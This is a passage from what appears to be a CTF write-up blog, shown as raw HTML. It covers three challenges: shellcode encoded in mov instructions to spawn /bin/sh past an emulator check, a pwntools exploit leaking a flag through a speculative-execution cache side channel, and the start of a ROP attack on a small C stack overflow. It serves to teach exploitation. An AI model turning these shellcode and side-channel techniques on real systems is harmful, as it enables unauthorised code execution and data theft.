    <span class="n">emu</span><span class="nf">.add_insn_sys_hook</span><span class="p">(</span><span class="nn">InsnSysX86</span><span class="p">::</span><span class="n">SYSENTER</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">|</span><span class="n">uc</span><span class="p">|</span> <span class="p">{</span>
        <span class="nd">panic!</span><span class="p">(</span><span class="s">"[!] Sysenter detected: {uc:?}"</span><span class="p">);</span>
    <span class="p">})</span><span class="o">?</span><span class="p">;</span>

    <span class="c1">// Run emulation</span>
    <span class="n">emu</span><span class="nf">.emu_start</span><span class="p">(</span><span class="n">BASE_ADDR</span><span class="p">,</span> <span class="p">(</span><span class="n">BASE_ADDR</span> <span class="k">as</span> <span class="nb">usize</span> <span class="o">+</span> <span class="n">code</span><span class="nf">.len</span><span class="p">())</span> <span class="k">as</span> <span class="nb">u64</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
    <span class="nf">Ok</span><span class="p">(())</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="executing-arbitrary-shellcode">Executing arbitrary shellcode</h3>
<p>To execute arbitrary shellcode I used the fact that all registers except <code class="language-plaintext highlighter-rouge">RSP</code> are zero in the emulation, but not when the shellcode is actually run. We can use this to change the behavior of our shellcode when run in the emulation vs for real. One more little hurdle is that the shellcode can’t contain null bytes. My solution was based on a technique I learned while pwning JIT engines: I encoded my shellcode into <code class="language-plaintext highlighter-rouge">mov</code> instructions and jumped to an offset based on the different registers contents to trigger my payload. With each x64 mov instruction we have an 8 byte immediate value that we can use to encode 6 bytes of shellcode and 2 bytes for a jump to chain our gadgets. This is how the shellcode looks in memory:</p>

<p><img src="/assets/cscg-unicorn-1.png" alt="Memory layout" /></p>

<p>If <code class="language-plaintext highlighter-rouge">rax</code> is not zero, the shellcode jumps to an offset which contains our actual payload:</p>

<p><img src="/assets/cscg-unicorn-2.png" alt="Memory layout" /></p>

<h3 id="exploit">Exploit</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">emit</span><span class="p">(</span><span class="n">ins</span><span class="p">):</span>
    <span class="n">a</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">ins</span><span class="p">)</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">6</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"too big: "</span><span class="p">,</span> <span class="n">ins</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">ins</span><span class="p">))</span>
        <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">a</span> <span class="o">+=</span> <span class="p">(</span><span class="mi">6</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">))</span><span class="o">*</span><span class="sa">b</span><span class="s">"</span><span class="se">\x90</span><span class="s">"</span>
    <span class="n">a</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"jmp $+4"</span><span class="p">)</span>

    <span class="n">inst</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"mov rax, </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="s">'little'</span><span class="p">))</span><span class="si">}</span><span class="s">"</span>

    <span class="k">return</span> <span class="n">asm</span><span class="p">(</span><span class="n">inst</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"[+] building sc"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">=</span> <span class="s">'''
test rax, rax
jnz $+4
'''</span>

<span class="n">sc</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">sc</span><span class="p">)</span>

<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"push 0x68"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"mov edx, 0x732f2f2f"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"shl rdx, 32"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"mov ebx, 0x6e69622f"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"add rdx, rbx"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"push rdx"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"mov rdi, rsp"</span><span class="p">)</span>

<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"mov esi, 0x10101010"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="sa">f</span><span class="s">"sub esi, </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="mh">0x10101010</span> <span class="o">-</span> <span class="mh">0x6873</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"push rsi"</span><span class="p">)</span>

<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"xor esi, esi"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"push rsi"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"push 8"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"pop rsi"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"add rsi, rsp"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"push rsi"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"mov rsi, rsp"</span><span class="p">)</span>

<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"xor edx, edx"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"push 0x3b"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"pop rax"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">emit</span><span class="p">(</span><span class="s">"syscall"</span><span class="p">)</span>

<span class="n">sc</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x90</span><span class="s">"</span><span class="o">*</span><span class="mh">0x80</span>
</code></pre></div></div>

<h2 id="vm-sec">VM</h2>
<p>VM was another misc challenge that involved emulating a CPU in its entirety. The CPU uses 5 registers: two general purpose (<code class="language-plaintext highlighter-rouge">r0</code>, <code class="language-plaintext highlighter-rouge">r1</code>), stack (<code class="language-plaintext highlighter-rouge">sp</code>), program counter(<code class="language-plaintext highlighter-rouge">pc</code>) and zero flag (<code class="language-plaintext highlighter-rouge">zero</code>). Furthermore the cpu defines a bunch of the usual instructions such as <code class="language-plaintext highlighter-rouge">jmp</code>, <code class="language-plaintext highlighter-rouge">add</code>, <code class="language-plaintext highlighter-rouge">push</code> and an interrupt instruction for IO access. For the challenge one could send instructions to the VM that would get executed.</p>

<p>The VM consists of two threads: an executor and a validator thread. The executor thread simply executes the instructions, and after executing, sends information about the executed instructions to the validator. The validator then validates the executed instructions. The executor thread uses temporary registers. Only after the instructions have been validated, the actual CPU registers will be modified by the validator thread.</p>

<p>The flag is read into a memory region with no permissions. Attempting to read the flag will result in the validator stopping the execution, as the access to the non-readable memory region is invalid. Therefore, the objective of the challenge was to find a way to read the flag within the executor thread without triggering the validator’s detection of the unauthorized access.</p>

<p>As this CPU emulation is very detailed, it also emulates CPU caches, speculative execution and out of order execution. The executor thread will speculatively execute up to 8 instructions before waiting for the validator to catch up. When speculatively executing, the executor thread will save the assumed values of r0 and r1 in order for the validator to later check the speculative execution. IO instructions (write, read) are guaranteed to be in-order and won’t be predicted. They are the only kind of instruction that is actually handled by the validator instead of the executor thread. Following shows an example of how the <code class="language-plaintext highlighter-rouge">sub</code> instruction is implemented, including the code for the assumed register values:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// R0 = R0 - R1</span>
<span class="nn">InsnType</span><span class="p">::</span><span class="nb">Sub</span> <span class="k">=&gt;</span> <span class="p">{</span>
    <span class="n">assume</span><span class="py">.r0</span> <span class="o">=</span> <span class="nf">Some</span><span class="p">(</span><span class="n">regs</span><span class="py">.r0</span><span class="p">);</span>
    <span class="n">assume</span><span class="py">.r1</span> <span class="o">=</span> <span class="nf">Some</span><span class="p">(</span><span class="n">regs</span><span class="py">.r1</span><span class="p">);</span>

    <span class="k">let</span> <span class="n">mask</span> <span class="o">=</span> <span class="nf">maskx</span><span class="p">(</span><span class="k">self</span><span class="py">.op_size</span><span class="p">);</span>

    <span class="n">regs</span><span class="py">.r0</span> <span class="o">=</span> <span class="p">(</span><span class="n">regs</span><span class="py">.r0</span> <span class="o">&amp;</span> <span class="o">!</span><span class="n">mask</span><span class="p">)</span> <span class="p">|</span> <span class="p">((</span><span class="n">regs</span><span class="py">.r0</span><span class="nf">.overflowing_sub</span><span class="p">(</span><span class="n">regs</span><span class="py">.r1</span><span class="p">)</span><span class="na">.0</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">mask</span><span class="p">);</span>

    <span class="n">regs</span><span class="py">.zero</span> <span class="o">=</span> <span class="p">(</span><span class="n">regs</span><span class="py">.r0</span> <span class="o">&amp;</span> <span class="n">mask</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span>

    <span class="k">let</span> <span class="n">result</span> <span class="o">=</span> <span class="n">ExecutionResult</span> <span class="p">{</span>
        <span class="n">regs</span><span class="p">:</span> <span class="n">regs</span><span class="nf">.clone</span><span class="p">(),</span>
        <span class="n">read_at</span><span class="p">:</span> <span class="nb">None</span><span class="p">,</span>
        <span class="n">write_at</span><span class="p">:</span> <span class="nb">None</span><span class="p">,</span>
        <span class="n">io_request</span><span class="p">:</span> <span class="nb">None</span><span class="p">,</span>
    <span class="p">};</span>

    <span class="nf">Some</span><span class="p">(</span><span class="n">Execution</span> <span class="p">{</span> <span class="n">assume</span><span class="p">,</span> <span class="n">result</span> <span class="p">})</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Upon validating the executed instructions, the validator will compare the assumed register values with the current validated values of the real registers. If they are not equal, the predicted execution was incorrect and a reset is triggered. This will reset the executor registers to the latest validated values of the real registers, forcing execution of the correct instructions. Additionally, when the mispredicted instruction was a write instruction, the cache is also reset.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">&amp;</span><span class="n">execution</span><span class="py">.assume</span> <span class="o">==</span> <span class="n">regs</span> <span class="p">{</span>
    <span class="o">...</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="nn">VerificationResult</span><span class="p">::</span><span class="nf">Reset</span><span class="p">(</span><span class="n">execution</span><span class="py">.result.write_at</span><span class="nf">.is_some</span><span class="p">())</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="leaking-the-flag">Leaking the flag</h3>
<p>We can take advantage of speculative execution and the fact that the cache only resets upon a mispredicted write instruction to leak the flag. Our strategy involves loading portions of the flag into the cache, initiating a reset so that the validator does not panic due to unauthorized access, and then extracting parts of the flag by reading it from the cache.</p>

<p>To reliably trigger a reset we will use the IO read instruction in order to halt the validator thread and speculatively execute instructions to read parts of the flag into the cache. The same IO read instruction will further read a value into the <code class="language-plaintext highlighter-rouge">r0</code> register which will trigger a reset. After the reset we will continue execution at code that will print out parts of the flag.</p>

<h3 id="exploit-1">Exploit</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># r1 = [addr]
</span><span class="k">def</span> <span class="nf">load_addr</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
    <span class="n">i</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">Inst</span><span class="p">.</span><span class="n">LOAD</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">i</span>

<span class="c1"># addr = r1
</span><span class="k">def</span> <span class="nf">store</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
    <span class="n">i</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">Inst</span><span class="p">.</span><span class="n">STORE</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">i</span>

<span class="k">def</span> <span class="nf">int_write</span><span class="p">():</span>
    <span class="n">i</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">Inst</span><span class="p">.</span><span class="n">INT</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'o'</span>

    <span class="k">return</span> <span class="n">i</span>

<span class="k">def</span> <span class="nf">int_read</span><span class="p">():</span>
    <span class="n">i</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">Inst</span><span class="p">.</span><span class="n">INT</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'i'</span>

    <span class="k">return</span> <span class="n">i</span>

<span class="k">def</span> <span class="nf">mov_r0_r1</span><span class="p">():</span>
    <span class="n">i</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">Inst</span><span class="p">.</span><span class="n">MOV_R0_R1</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>

    <span class="k">return</span> <span class="n">i</span>

<span class="k">def</span> <span class="nf">mov_r1_r0</span><span class="p">():</span>
    <span class="n">i</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">Inst</span><span class="p">.</span><span class="n">MOV_R1_R0</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>

    <span class="k">return</span> <span class="n">i</span>

<span class="k">def</span> <span class="nf">add</span><span class="p">():</span>
    <span class="n">i</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">Inst</span><span class="p">.</span><span class="n">ADD</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>

    <span class="k">return</span> <span class="n">i</span>

<span class="k">def</span> <span class="nf">sub</span><span class="p">():</span>
    <span class="n">i</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">Inst</span><span class="p">.</span><span class="n">SUB</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>

    <span class="k">return</span> <span class="n">i</span>

<span class="k">def</span> <span class="nf">nop</span><span class="p">():</span>
    <span class="n">i</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">Inst</span><span class="p">.</span><span class="n">NOP</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>

    <span class="k">return</span> <span class="n">i</span>

<span class="k">def</span> <span class="nf">jmp_neq</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
    <span class="n">i</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">Inst</span><span class="p">.</span><span class="n">JMP_NE</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">PC</span> <span class="o">+</span> <span class="n">addr</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">i</span>

<span class="k">def</span> <span class="nf">halt</span><span class="p">():</span>
    <span class="n">i</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="n">i</span> <span class="o">+=</span> <span class="n">Inst</span><span class="p">.</span><span class="n">HALT</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>

    <span class="k">return</span> <span class="n">i</span>

<span class="k">class</span> <span class="nc">Inst</span><span class="p">:</span>
    <span class="n">PUSH_R0</span> <span class="o">=</span> <span class="s">'p'</span>
    <span class="n">PUSH_R1</span> <span class="o">=</span> <span class="s">'P'</span>
    <span class="n">POP_R0</span> <span class="o">=</span> <span class="s">'q'</span>
    <span class="n">POP_R1</span> <span class="o">=</span> <span class="s">'Q'</span>
    <span class="n">CALL</span> <span class="o">=</span> <span class="s">'C'</span>
    <span class="n">RET</span> <span class="o">=</span> <span class="s">'R'</span>
    <span class="n">JMP_R0</span> <span class="o">=</span> <span class="s">'j'</span>
    <span class="n">JMP</span> <span class="o">=</span> <span class="s">'J'</span>
    <span class="n">JMP_EQ_R0</span> <span class="o">=</span> <span class="s">'e'</span>
    <span class="n">JMP_EQ</span> <span class="o">=</span> <span class="s">'E'</span>
    <span class="n">JMP_NE_R9</span> <span class="o">=</span> <span class="s">'n'</span>
    <span class="n">JMP_NE</span> <span class="o">=</span> <span class="s">'N'</span>
    <span class="n">ADD</span> <span class="o">=</span> <span class="s">'+'</span>
    <span class="n">SUB</span> <span class="o">=</span> <span class="s">'-'</span>
    <span class="n">AND</span> <span class="o">=</span> <span class="s">'&amp;'</span>
    <span class="n">OR</span> <span class="o">=</span> <span class="s">'|'</span>
    <span class="n">XOR</span> <span class="o">=</span> <span class="s">'^'</span>
    <span class="n">MOV_R0_R1</span> <span class="o">=</span> <span class="s">'&gt;'</span>
    <span class="n">MOV_R1_R0</span> <span class="o">=</span> <span class="s">'&lt;'</span>
    <span class="n">MOV_R0</span> <span class="o">=</span> <span class="s">'m'</span>
    <span class="n">MOV_R1</span> <span class="o">=</span> <span class="s">'M'</span>
    <span class="n">LOAD_R0</span> <span class="o">=</span> <span class="s">'l'</span>
    <span class="n">LOAD</span> <span class="o">=</span> <span class="s">'L'</span>
    <span class="n">STORE_R0</span> <span class="o">=</span> <span class="s">'s'</span>
    <span class="n">STORE</span> <span class="o">=</span> <span class="s">'S'</span>
    <span class="n">INT</span> <span class="o">=</span> <span class="s">'#'</span>
    <span class="n">NOP</span> <span class="o">=</span> <span class="s">'.'</span>
    <span class="n">HALT</span> <span class="o">=</span> <span class="s">'H'</span>

<span class="n">PC</span> <span class="o">=</span> <span class="mh">0x100000</span>
<span class="n">SP</span> <span class="o">=</span> <span class="mh">0x200000</span>
<span class="n">FLAG</span> <span class="o">=</span> <span class="mh">0x300000</span>
<span class="n">MM</span> <span class="o">=</span> <span class="mh">0x400000</span>

<span class="c1"># Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
# pwndbg tele command
</span><span class="n">gdbscript</span> <span class="o">=</span> <span class="s">'''
continue
'''</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="nb">locals</span><span class="p">())</span>

<span class="c1">#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
</span>
<span class="n">flag</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
<span class="n">i</span> <span class="o">=</span> <span class="mh">0x0</span>
<span class="k">while</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x10</span><span class="p">:</span>
    <span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
    <span class="c1"># io access, block validator
</span>    <span class="c1"># read will store data in r0
</span>    <span class="n">payload</span> <span class="o">+=</span> <span class="n">int_read</span><span class="p">()</span>
    <span class="c1"># speculation: r0 - r1 = 0x0
</span>    <span class="n">payload</span> <span class="o">+=</span> <span class="n">sub</span><span class="p">()</span>
    <span class="c1"># speculation: don't take jump
</span>    <span class="n">payload</span> <span class="o">+=</span> <span class="n">jmp_neq</span><span class="p">(</span><span class="mh">0x20</span><span class="p">)</span>
    <span class="c1"># +0x2 otherwise last access will reach EOF and return 0
</span>    <span class="n">payload</span> <span class="o">+=</span> <span class="n">load_addr</span><span class="p">(</span><span class="n">FLAG</span> <span class="o">+</span> <span class="n">i</span> <span class="o">*</span> <span class="mh">0x4</span><span class="o">+</span><span class="mh">0x2</span><span class="p">)</span>
    <span class="c1"># store flag bytes, will also store them in cache
</span>    <span class="n">payload</span> <span class="o">+=</span> <span class="n">store</span><span class="p">(</span><span class="n">MM</span><span class="p">)</span>
    <span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0x20</span><span class="p">,</span> <span class="n">nop</span><span class="p">())</span>
    <span class="c1"># after reset 0x42 read will cause jump to be taken
</span>    <span class="c1"># reset however did not clear cache =&gt; can load flag bytes from cache
</span>    <span class="n">payload</span> <span class="o">+=</span> <span class="n">load_addr</span><span class="p">(</span><span class="n">MM</span><span class="p">)</span>
    <span class="n">payload</span> <span class="o">+=</span> <span class="n">mov_r0_r1</span><span class="p">()</span>
    <span class="n">payload</span> <span class="o">+=</span> <span class="n">int_write</span><span class="p">()</span>
    <span class="n">payload</span> <span class="o">+=</span> <span class="n">halt</span><span class="p">()</span>

    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"prog.bin"</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>

    <span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">LOCAL</span><span class="p">:</span>
        <span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x42</span><span class="p">))</span>
        <span class="n">leak</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">100</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mf">0.5</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">leak</span> <span class="o">!=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">):</span>
            <span class="n">flag</span> <span class="o">+=</span> <span class="n">leak</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Flag: </span><span class="si">{</span><span class="n">flag</span><span class="si">}</span><span class="s">, index: </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"hex:"</span><span class="p">,</span> <span class="n">payload</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>
        <span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">p32</span><span class="p">(</span><span class="mh">0x42</span><span class="p">))</span>

        <span class="n">leak</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">leak</span> <span class="o">!=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">):</span>
            <span class="n">flag</span> <span class="o">+=</span> <span class="n">leak</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Flag: </span><span class="si">{</span><span class="n">flag</span><span class="si">}</span><span class="s">, index: </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>

    <span class="k">if</span> <span class="sa">b</span><span class="s">'}'</span> <span class="ow">in</span> <span class="n">flag</span><span class="p">:</span>
        <span class="k">break</span>

    <span class="n">io</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Flag: "</span><span class="p">,</span> <span class="n">flag</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="once-sec">Once</h2>

<p>Once was a ROP pwn challenge. The code is very small and simple:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">provide_a_little_help</span><span class="p">()</span> <span class="p">{</span>
  <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">needle</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
  <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">needles</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"libc"</span><span class="p">,</span>
    <span class="s">"once"</span><span class="p">,</span>
    <span class="s">"[heap]"</span><span class="p">,</span>
    <span class="s">"[stack]"</span><span class="p">,</span>
    <span class="nb">NULL</span>
  <span class="p">};</span>
  <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">512</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>

  <span class="kt">FILE</span><span class="o">*</span> <span class="n">fp</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/proc/self/maps"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">fp</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">perror</span><span class="p">(</span><span class="s">"fopen"</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">while</span><span class="p">((</span><span class="n">needle</span> <span class="o">=</span> <span class="n">needles</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">fgets</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="n">fp</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="p">{</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">//printf("Buf: %s needle: %s \n", needle, buf);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">strstr</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">needle</span><span class="p">))</span> <span class="p">{</span>
      <span class="o">*</span><span class="n">strchr</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">' '</span><span class="p">)</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"%s: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">needle</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
      <span class="n">i</span><span class="o">++</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>

  <span class="n">provide_a_little_help</span><span class="p">();</span>

  <span class="n">fread</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The challenge reads 16 bytes from stdin, causing an overflow that will overwrite the saved <code class="language-plaintext highlighter-rouge">rbp</code> and <code class="language-plaintext highlighter-rouge">rip</code> on the stack, giving us control over the execution. In addition, the <code class="language-plaintext highlighter-rouge">provide_a_little_help</code> function displays the address ranges of stack, heap, and the application itself.</p>

<p>Ideally, we want to execute a rop chain that will call <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code>. In order to achieve this there are two apparent obstacles: First, we need to be able to provide a longer rop chain than 2 gadgets (16 bytes), second we need a libc leak.</p>

